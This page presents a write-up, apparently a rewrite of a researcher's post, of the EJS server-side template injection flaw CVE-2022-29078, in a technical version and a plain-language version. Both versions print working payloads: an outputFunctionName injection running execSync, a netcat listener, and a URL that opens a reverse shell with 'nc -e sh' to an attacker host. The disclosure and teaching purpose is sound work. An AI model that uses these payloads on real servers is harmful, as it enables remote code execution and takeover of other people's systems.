EJS, Server side template injection RCE (CVE202229078) writeup
The EJS templating library merged user-supplied data into template options, allowing an attacker to set the outputFunctionName option and inject arbitrary JavaScript into the compiled template, leading to remote code execution. An attacker could execute commands on the server.
Published on eslam.io
Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
EJS (Embedded JavaScript templates) is one of the most widely used templating engines in the Node.js ecosystem. This write-up walks through a whitebox review of the library that led to a server side template injection (SSTI) and, from there, to remote code execution through the outputFunctionName option. The objective of this research, as the author states, is to improve the security level of the Node.js ecosystem.
Context
The target is the EJS library itself, an open source Node.js templating engine. Because the source is public, the review takes a whitebox approach: read the code, follow the flow, and look for places where user-controlled data reaches the template compiler.
The interesting surface is the render function and the way it treats its two arguments, the data object and the options object. In a typical Express application the data comes straight from the request, so anything the library copies from data into options is effectively attacker-controlled.
Setup
No accounts or special tooling are needed beyond the library source and a small Express application to test against. The author suggests using a debugger with breakpoints to follow the code flow quickly, or at minimum adding a print (or console.log) to see which functions are called and what the variable values are.
The proof of concept is a minimal Express app that renders a template with the query string as data:
// index.js
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/page', (req,res) => {
res.render('page', req.query);
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
// page.ejs
<h1> You are viewing page number <%= id %></h1>
The template simply prints the id value. Everything sent in the query string lands in the data object passed to res.render.
Finding it
The first thing that stands out is in the render function:
exports.render = function (template, d, o) {
var data = d || {};
var opts = o || {};
// No options object -- if there are optiony names
// in the data, copy them to options
if (arguments.length == 2) {
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
}
return handleCache(opts, template)(data);
};
When render is called with only two arguments, data and options are merged through utils.shallowCopyFromList. In theory, data coming from the user can overwrite template options. The copy function, however, has a restriction:
exports.shallowCopyFromList = function (to, from, list) {
for (var i = 0; i < list.length; i++) {
var p = list[i];
if (typeof from[p] != 'undefined') {
to[p] = from[p];
}
}
return to;
};
It only copies keys that appear in the list passed to it, and that list is fixed:
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
So the reachable options are limited to those names. The author then tests what impact each of them can have.
Step 1: enabling debug mode
http://localhost:3000/page?id=2&debug=true
This ends up enabling EJS debug mode. The impact is small: if there are no errors, nothing is shown.
Step 2: changing the delimiter
http://localhost:3000/?delimiter=NotExistsDelimiter
This is more interesting. Because the delimiter does not exist in the template, the template contents are disclosed.
Step 3: attempting a ReDoS
The delimiter is inserted into a regular expression that is executed against the template contents:
createRegex: function () {
var str = _REGEX_STRING;
var delim = utils.escapeRegExpChars(this.opts.delimiter);
var open = utils.escapeRegExpChars(this.opts.openDelimiter);
var close = utils.escapeRegExpChars(this.opts.closeDelimiter);
str = str.replace(/%/g, delim)
.replace(/</g, open)
.replace(/>/g, close);
return new RegExp(str);
}
With a delimiter of xx, the resulting regex looks like this:
(<xxxx|xxxx>|<xx=|<xx-|<xx_|<xx#|<xx|xx>|-xx>|_xx>)
The problem for the attacker is that the value is passed through utils.escapeRegExpChars, so regex reserved characters such as *, $ or [] cannot be injected. A catastrophic ReDoS is therefore not possible here.
Exploitation
The author keeps looking and finds these lines in the renderFile function:
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
This is the key difference: in the case of Express, the view options object is copied into the options with utils.shallowCopy, without any list restriction. Any option name can be set from data.
The next step is to find an option that is included in the template body without escaping:
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
outputFunctionName is concatenated directly into the generated source code. Injecting code into it therefore injects code into the compiled template.
Step 1: confirm code execution
The payload used is:
x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
It is added to the template compiled code as:
var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;
The injected statement is added to the template compiled code, and the code is executed successfully.
Step 2: get a reverse shell
First, a listener is started on the attacker machine:
nc -lnvp 1337
Then the payload is sent through the settings[view options][outputFunctionName] parameter:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh [redacted] 1337');s
The settings[view options] object is what Express passes as data.settings['view options'], so the value reaches outputFunctionName and is concatenated into the compiled template. The injected execSync call runs the nc command.

The screenshot shows the result after the injection.
Root cause
Two design decisions combine. First, render merges data into options when called with two arguments, and renderFile copies data.settings['view options'] into options with utils.shallowCopy, which has no allowlist. Second, the compiler builds the template source by string concatenation and places opts.outputFunctionName directly into a var declaration without escaping or validation. Any option that ends up in the generated code is therefore a code injection point.
The allowlist in _OPTS_PASSABLE_WITH_DATA limits the first merge path, and utils.escapeRegExpChars protects the delimiter path, but neither defence covers the view options path or the outputFunctionName option. The author describes the view options handling as undocumented after Express 2 but still usable.
Impact
In the proof of concept, data passed to res.render from the query string lets the injected code run commands on the server. The first payload shows command execution with touch /tmp/pwned; the second attempts a reverse shell.
Fix
EJS issued a fix to prevent injecting any code into the options, especially opts.outputFunctionName, and released v3.1.7.
Timeline
-
10 Apr 2022: Reported to vendor
-
12 Apr 2022: CVE number assigned (CVE-2022-29078)
-
20 Apr 2022: Fix released
-
Other options concatenated into generated code. Review the compiler for any other option that is placed into the template source without escaping. A positive result is a template that executes a marker command such as
touch /tmp/pwnedwhen the option is set from request data. -
Applications passing request data directly to
res.render. Sendsettings[view options][outputFunctionName]with a benign command and check for its side effect. A positive result is the command running on the server. -
Delimiter disclosure. Send a delimiter that does not exist in the template and check whether the template contents are returned. A positive result is the raw template source in the response.
-
Debug mode. Send
debug=truealongside data and trigger a template error. A positive result is debug output that reveals template internals. -
ReDoS through the delimiter. Try regex metacharacters in the delimiter. A positive result would be catastrophic backtracking, but the escaping in
utils.escapeRegExpCharsshould prevent it.
What happened, in plain words
A security researcher spent a weekend reading the source code of EJS, a very popular library that Node.js websites use to build web pages. He found a way to make a website running EJS run commands on the server when user data reaches the template options, as in his test app. This kind of attack is called server side template injection, and when it leads to running commands it is called remote code execution. The researcher reported it to the people who maintain EJS, a CVE number was assigned (CVE-2022-29078), and a fixed version was released. The stated goal of the research is to make the Node.js ecosystem safer.
Before going further, a few words on the pieces involved.
- Node.js is a program that lets people run JavaScript outside a browser, typically on a server. Many websites are built with it.
- A templating engine is a tool that takes a page template (HTML with little placeholders in it) and fills in the placeholders with real values before sending the page to the visitor. Think of a mail merge: the same letter, with each recipient's name dropped into the blanks.
- EJS, short for Embedded JavaScript templates, is one such engine for Node.js. A template can contain JavaScript snippets between special markers, and EJS turns the template into JavaScript source code, then runs that code to produce the final HTML.
- Express is the most common web framework for Node.js. It handles incoming requests and decides which page to build. It uses EJS as one of its possible view engines.
- Server side template injection (SSTI) means an attacker manages to get their own template instructions (or code) treated as part of the template, so the server executes them. It is like slipping an extra instruction into the mail merge letter so the printing office does something you did not intend.
- Remote code execution (RCE) means the attacker can run arbitrary commands on the victim's machine, from a distance.
- Whitebox review means the reviewer can see the source code. The opposite, blackbox, means testing only from the outside, without seeing the code.
Context
The target here is the EJS library itself, not a particular company's website. EJS is open source, so anyone can read its code. That makes a whitebox review possible: read the code, follow how a request flows through it, and look for places where data controlled by a visitor ends up somewhere dangerous.
The interesting part is the render function and the way it treats its two arguments: the data object and the options object. In a typical Express application the data comes straight from the request, so anything the library copies from data into options is effectively under the attacker's control.
Setup
No accounts or special tools are needed beyond the library source and a small Express application to test against. The author suggests using a debugger with breakpoints to follow the code flow quickly, or at minimum adding a print (or console.log) to see which functions are called and what the variable values are. A debugger is a tool that lets you pause a program at chosen lines and inspect the values of variables, like pausing a film to look at a single frame.
The proof of concept is a minimal Express app that renders a template with the query string as data:
// index.js
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/page', (req,res) => {
res.render('page', req.query);
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
Line by line:
const express = require('express')loads the Express library into the program.const app = express()creates the web application object.const port = 3000says the app will listen on port 3000. A port is like a numbered door on a computer; the browser knocks on that door to reach the app.app.set('view engine', 'ejs')tells Express to use EJS when building pages.app.get('/page', ...)says: when someone requests the address/page, run the following function.res.render('page', req.query)builds thepagetemplate and passes itreq.query. The query string is the part of a URL after the?, such as?id=2. Express turns it into a small object of names and values, and here that object is handed to the template as its data.app.listen(port, ...)starts the server and prints a message when it is ready.
The template itself:
// page.ejs
<h1> You are viewing page number <%= id %></h1>
This is HTML with one placeholder, <%= id %>. EJS replaces that placeholder with the value of id from the data. So a request to /page?id=2 produces a heading saying you are viewing page number 2. Everything sent in the query string lands in the data object passed to res.render, which is exactly the situation the researcher wants to study.
Finding it
The first thing that stands out is in the render function:
exports.render = function (template, d, o) {
var data = d || {};
var opts = o || {};
// No options object -- if there are optiony names
// in the data, copy them to options
if (arguments.length == 2) {
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
}
return handleCache(opts, template)(data);
};
Line by line:
exports.render = function (template, d, o)defines a function that takes a template name, datadand optionso.var data = d || {}uses the given data, or an empty object if none was given.var opts = o || {}does the same for options.if (arguments.length == 2)checks whether the function was called with exactly two arguments, meaning no separate options object was supplied.utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA)then copies some entries from the data into the options, but only the names listed in_OPTS_PASSABLE_WITH_DATA.return handleCache(opts, template)(data)compiles (or reuses a cached compiled version of) the template with those options and runs it with the data.
So when render is called with only two arguments, data and options are merged. In theory, data coming from the user can overwrite template options. The copy function, however, has a restriction:
exports.shallowCopyFromList = function (to, from, list) {
for (var i = 0; i < list.length; i++) {
var p = list[i];
if (typeof from[p] != 'undefined') {
to[p] = from[p];
}
}
return to;
};
Line by line:
- The function receives a destination object
to, a source objectfrom, and a list of allowed names. for (var i = 0; i < list.length; i++)walks through the list one name at a time.var p = list[i]is the current name.if (typeof from[p] != 'undefined')checks whether the source actually has a value under that name.to[p] = from[p]copies it across.return tohands back the destination.
It only copies keys that appear in the list passed to it, and that list is fixed:
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
This is an allowlist: a list of names that are permitted, everything else is refused. So the reachable options are limited to those names. The author then tests what impact each of them can have.
Step 1: enabling debug mode
http://localhost:3000/page?id=2&debug=true
This URL asks the local app for /page with id=2 and debug=true. Because debug is on the allowlist, the value true is copied into the options and EJS debug mode is switched on. The impact is small: if there are no errors, nothing is shown. Debug mode is a mode where a program gives extra detail about what it is doing, usually to help developers; here it only produces output when something goes wrong.
Step 2: changing the delimiter
http://localhost:3000/?delimiter=NotExistsDelimiter
A delimiter is the marker that tells the template engine where a piece of code starts and ends. EJS normally uses <% and %>. This request sets the delimiter to the word NotExistsDelimiter, which does not appear anywhere in the template. Because the engine finds no matching markers, it treats the whole template as plain text and returns it. That is more interesting: the template contents are disclosed. Disclosure means the server reveals something it should have kept to itself, here the raw template source.
Step 3: attempting a ReDoS
The delimiter is inserted into a regular expression that is executed against the template contents:
createRegex: function () {
var str = _REGEX_STRING;
var delim = utils.escapeRegExpChars(this.opts.delimiter);
var open = utils.escapeRegExpChars(this.opts.openDelimiter);
var close = utils.escapeRegExpChars(this.opts.closeDelimiter);
str = str.replace(/%/g, delim)
.replace(/</g, open)
.replace(/>/g, close);
return new RegExp(str);
}
Line by line:
var str = _REGEX_STRINGstarts from a fixed pattern stored in the library.- The next three lines take the delimiter, the opening delimiter and the closing delimiter from the options and pass each through
utils.escapeRegExpChars. str.replace(/%/g, delim)puts the delimiter into the pattern wherever a%placeholder sits; thegmeans replace every occurrence.- The next two lines do the same for
<and>with the opening and closing delimiters. return new RegExp(str)turns the finished string into a regular expression object.
A regular expression (regex) is a pattern used to search text, like a very precise find-and-replace rule. A ReDoS (regular expression denial of service) is an attack where a crafted pattern makes the search take an enormous amount of time, so the server gets stuck and stops answering normal visitors.
With a delimiter of xx, the resulting regex looks like this:
(<xxxx|xxxx>|<xx=|<xx-|<xx_|<xx#|<xx|xx>|-xx>|_xx>)
The problem for the attacker is that the value is passed through utils.escapeRegExpChars, so regex reserved characters such as *, $ or [] cannot be injected. Escaping means neutralising characters that would otherwise have a special meaning, so they are treated as ordinary text. A catastrophic ReDoS is therefore not possible here.
Exploitation
The author keeps looking and finds these lines in the renderFile function:
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
Line by line:
- The comment says this behaviour is undocumented after Express 2 but still usable, especially for items that are unsafe to pass along with data, such as
root. viewOpts = data.settings['view options']reads aview optionsentry from inside thesettingspart of the data.if (viewOpts)checks that it exists.utils.shallowCopy(opts, viewOpts)copies everything from it into the options.
This is the key difference: shallowCopy has no allowlist. In the case of Express, the view options object is copied into the options without any list restriction, so any option name can be set from data. The earlier allowlist only guarded the other path.
The next step is to find an option that is included in the template body without escaping:
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
Line by line:
prependedis a string that will be placed at the top of the generated JavaScript code.- The first two lines add a variable
__output(an empty string) and a function__appendthat adds text to it. This is how EJS collects the page output. if (opts.outputFunctionName)checks whether the optionoutputFunctionNamewas set.- If it was, the next line builds
var+ that value += __append;. The value is pasted straight into the code with no escaping and no validation.
outputFunctionName is concatenated directly into the generated source code. Injecting code into it therefore injects code into the compiled template. Concatenation means gluing strings together; if one of the strings is attacker-controlled, the attacker is effectively writing part of the program.
Step 1: confirm code execution
The payload used is:
x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
A payload is the piece of input that carries the attack. This one is built to fit into a line of JavaScript. The semicolons end one statement and start another, so the pasted text becomes several instructions instead of a single variable name. process.mainModule.require('child_process') loads Node.js's module for starting other programs, and .execSync('touch /tmp/pwned') runs the command touch /tmp/pwned, which creates an empty file at that path. Creating a file is a harmless way to prove that commands really run on the server.
It is added to the template compiled code as:
var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;
Reading this line: var x; declares an unused variable, then the injected process.mainModule...execSync(...) statement runs, then s= __append; finishes the declaration EJS meant to write. The injected statement runs when the template is compiled, and the code is executed successfully.
Step 2: get a reverse shell
First, a listener is started on the attacker machine:
nc -lnvp 1337
nc is netcat, a small tool that can open network connections. -l means listen, -n means do not look up names, -v means verbose (show what happens), and -p 1337 sets the port to 1337. A reverse shell is a connection where the victim's machine reaches back to the attacker and hands over a command prompt, which is useful because the victim's machine may not accept incoming connections itself.
Then the payload is sent through the settings[view options][outputFunctionName] parameter:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh [redacted] 1337');s
The square brackets in the parameter name are a common convention for building nested objects from a query string: settings[view options][outputFunctionName] becomes settings containing view options containing outputFunctionName. That is exactly the shape renderFile reads as data.settings['view options'], so the value reaches outputFunctionName and is concatenated into the compiled template. The injected execSync call runs nc -e sh [redacted] 1337.

The screenshot shows the result after the injection.
Root cause
Two design decisions combine. First, render merges data into options when called with two arguments, and renderFile copies data.settings['view options'] into options with utils.shallowCopy, which has no allowlist. Second, the compiler builds the template source by string concatenation and places opts.outputFunctionName directly into a var declaration without escaping or validation. Any option that ends up in the generated code is therefore a code injection point.
The allowlist in _OPTS_PASSABLE_WITH_DATA limits the first merge path, and utils.escapeRegExpChars protects the delimiter path, but neither defence covers the view options path or the outputFunctionName option. The author describes the view options handling as undocumented after Express 2 but still usable.
Impact
In the proof of concept, data passed to res.render from the query string lets the injected code run commands on the server. Privileges here means the permissions the server program runs with: whatever it is allowed to do, the attacker can do too. The first payload shows command execution with touch /tmp/pwned; the second attempts a reverse shell.
Fix
EJS issued a fix to prevent injecting any code into the options, especially opts.outputFunctionName, and released v3.1.7.
Timeline
- 10 Apr 2022: Reported to vendor
- 12 Apr 2022: CVE number assigned (CVE-2022-29078)
- 20 Apr 2022: Fix released
A CVE number is a public identifier given to a known security flaw so that people can refer to it unambiguously.
- Other options concatenated into generated code. Review the compiler for any other option that is placed into the template source without escaping. A positive result is a template that executes a marker command such as
touch /tmp/pwnedwhen the option is set from request data. - Applications passing request data directly to
res.render. Sendsettings[view options][outputFunctionName]with a benign command and check for its side effect. A positive result is the command running on the server. - Delimiter disclosure. Send a delimiter that does not exist in the template and check whether the template contents are returned. A positive result is the raw template source in the response.
- Debug mode. Send
debug=truealongside data and trigger a template error. A positive result is debug output that reveals template internals. - ReDoS through the delimiter. Try regex metacharacters in the delimiter. A positive result would be catastrophic backtracking, but the escaping in
utils.escapeRegExpCharsshould prevent it.
Glossary
- Allowlist: a list of names or values that are explicitly permitted; anything not on the list is refused.
- Concatenation: gluing two strings together end to end to make one longer string.
- CVE: a public identifier for a known security vulnerability, so people can refer to it unambiguously.
- Debug mode: a mode where a program gives extra detail about what it is doing, usually to help developers.
- Delimiter: the marker that tells a template engine where a piece of code starts and ends.
- Disclosure: the server revealing something it should have kept to itself, such as raw template source.
- EJS (Embedded JavaScript templates): a Node.js templating engine that turns templates containing JavaScript into HTML.
- Escaping: neutralising characters that would otherwise have a special meaning, so they are treated as ordinary text.
- Express: the most common web framework for Node.js, which handles incoming requests and builds pages.
- Netcat (
nc): a small tool for opening network connections, often used to listen for incoming ones. - Node.js: a program that runs JavaScript outside a browser, typically on a server.
- Payload: the piece of input that carries the attack.
- Port: a numbered door on a computer that a program listens on for network connections.
- Privileges: the permissions a program runs with; whatever it is allowed to do, an attacker who controls it can do too.
- Query string: the part of a URL after the
?, made of names and values. - RCE (remote code execution): an attack where the attacker can run arbitrary commands on a victim's machine from a distance.
- ReDoS (regular expression denial of service): an attack where a crafted pattern makes a text search take an enormous amount of time, so the server stops answering.
- Regular expression (regex): a pattern used to search text, like a very precise find-and-replace rule.
- Reverse shell: a connection where the victim's machine reaches back to the attacker and hands over a command prompt.
- SSTI (server side template injection): an attack where the attacker gets their own template instructions treated as part of the template, so the server executes them.
- Templating engine: a tool that fills placeholders in a page template with real values before sending the page.
- Whitebox review: reviewing software with access to its source code, as opposed to blackbox testing from the outside only.